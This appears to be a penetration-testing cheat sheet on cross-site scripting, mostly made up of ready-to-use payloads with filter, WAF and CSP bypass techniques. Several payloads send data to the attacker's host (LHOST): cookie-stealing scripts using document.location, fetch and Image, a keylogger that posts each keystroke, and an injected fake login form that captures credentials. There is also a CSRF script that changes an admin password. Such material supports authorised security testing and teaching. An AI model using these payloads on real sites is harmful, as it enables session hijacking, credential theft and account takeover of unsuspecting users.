Skip to main content

Cross-Site Scripting (XSS)

XSS occurs when an application includes untrusted data in web output without proper validation or escaping, allowing an attacker to execute JavaScript in another user's browser.

Reference: https://portswigger.net/web-security/cross-site-scripting

# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444

XSS Types

Reflected XSS

The malicious script is part of the request (usually a URL parameter) and reflected back in the response. The victim must click a crafted link for it to execute. Most common XSS type.

Example — a search page that reflects the query in the response:

http://$TARGET/search?q=<script>alert(1)</script>

Stored XSS

The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.) and executes every time a user views the affected page. Higher impact than reflected since it doesn't require user interaction beyond visiting the page.

Example — injecting into a comment field:

<script>document.location='http://$LHOST/steal?c='+document.cookie</script>

DOM-Based XSS

The vulnerability exists in client-side JavaScript rather than server-side code. The payload never reaches the server — the DOM is modified directly by JavaScript on the page.

Look for JavaScript that reads from controllable sources (document.location, document.URL, document.referrer, window.name) and writes to executable sinks (innerHTML, eval(), document.write()).


Testing Methodology

Identify Input Points

Test every location where user input is reflected in the page: URL parameters, form fields, HTTP headers (Referer, User-Agent), cookie values, file upload filenames, and JSON/XML request bodies.

Basic Probe

Start with a simple payload to determine if input is reflected without filtering:

<script>alert(1)</script>

If that's blocked or filtered, try variations:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

Determine Context

Where your input appears in the HTML determines which payloads will work:

Inside HTML tags — inject new tags:

<script>alert(1)</script>
<img src=x onerror=alert(1)>

Inside an HTML attribute — break out of the attribute:

" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="

Inside JavaScript code — break out of the string:

';alert(1);//
'-alert(1)-'
\';alert(1);//

Inside a JavaScript template literal — use ${} syntax:

${alert(1)}

Common Payloads

Proof of Concept

Simple popup to confirm the vulnerability exists:

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
tip

Use alert(document.domain) instead of alert(1) — it proves execution in the correct origin, which is more meaningful in a report.

Redirect the victim's cookies to your server:

<script>document.location='http://LHOST/steal?c='+document.cookie</script>

Using fetch (doesn't navigate the user away):

<script>fetch('http://LHOST/steal?c='+document.cookie)</script>

Using an image tag (avoids CORS issues):

<script>new Image().src='http://LHOST/steal?c='+document.cookie</script>

Catch the cookies on Kali:

python3 -m http.server 80
warning

If the cookie has the HttpOnly flag, JavaScript cannot access it via document.cookie. In this case, look for other ways to leverage the XSS (session riding, keylogging, phishing).

Session Hijacking

Steal the session token and use it to impersonate the victim. After capturing the cookie, set it in your browser using developer tools or a cookie editor extension, then refresh the page.

Keylogging

Capture everything the victim types:

<script>
document.onkeypress = function(e) {
new Image().src = 'http://LHOST/log?key=' + e.key;
}
</script>

Phishing via XSS

Inject a fake login form that sends credentials to your server:

<script>
document.body.innerHTML = '<h2>Session Expired - Please Log In Again</h2><form action="http://LHOST/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>

Filter Bypass Techniques

Case Variation

<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>

No Parentheses

When () are blocked:

<script>alert`1`</script>
<img src=x onerror=alert`1`>

No Quotes

<img src=x onerror=alert(1)>
<svg onload=alert(String.fromCharCode(88,83,83))>

Encoding

HTML entity encoding:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

URL encoding (for URL-based injection):

%3Cscript%3Ealert(1)%3C/script%3E

Double URL encoding (when the server decodes twice):

%253Cscript%253Ealert(1)%253C/script%253E

Unicode encoding:

<script>\u0061lert(1)</script>

Tag and Event Alternatives

When <script> is blocked, use alternative tags and event handlers:

<svg/onload=alert(1)>
<body/onload=alert(1)>
<input/onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<math><mtext><table><mglyph><svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert(1)"/>

Breaking Out of JavaScript Strings

';alert(1);//
\';alert(1);//
</script><script>alert(1)</script>

Using eval and Alternative Execution

<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

WAF Bypass with Obfuscation

<img src=x onerror="window['al'+'ert'](1)">
<img src=x onerror="top['al'+'ert'](1)">
<img src=x onerror="self['\x61lert'](1)">

XSS to RCE Chains

XSS alone is a client-side attack, but it can be chained with other vulnerabilities for higher impact.

XSS → Admin Account Takeover → RCE

If a stored XSS exists on a page viewed by admins, steal their session token, log in as admin, and use admin functionality (file upload, plugin installation, command execution) to get a shell.

XSS → CSRF → Privileged Action

Use XSS to perform actions as the victim. If there are no CSRF protections (or you can extract the token via XSS), you can make the victim's browser perform any action they're authorized to do:

<script>
// Extract CSRF token from the page
var token = document.querySelector('input[name="csrf_token"]').value;
// Make a request to change the admin password
fetch('/admin/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'new_password=hacked123&csrf_token=' + token
});
</script>

Content Security Policy (CSP) Bypass

CSP headers restrict which scripts can execute. Common bypasses:

If the CSP allows unsafe-inline: standard XSS payloads work directly.

If the CSP allows a CDN: look for JSONP endpoints or Angular/Vue libraries on the allowed domain that can be abused.

If the CSP uses a nonce: look for injection points where you can read the nonce value and include it in your script tag.

Check the CSP policy:

curl -I http://$TARGET | grep -i content-security-policy

CSP evaluation tool: https://csp-evaluator.withgoogle.com/


Tools

XSS Payloads Repository

Comprehensive payload lists: https://github.com/payloadbox/xss-payload-list

Automated Scanning

Dalfox — fast parameter analysis and XSS scanner:

dalfox url "http://$TARGET/page?param=test"

XSSStrike — advanced XSS detection suite:

python3 xsstrike.py -u "http://$TARGET/page?param=test"
tip

Automated scanners are useful for finding low-hanging fruit, but manual testing is essential for context-dependent XSS and filter bypasses. Always test manually after running automated tools.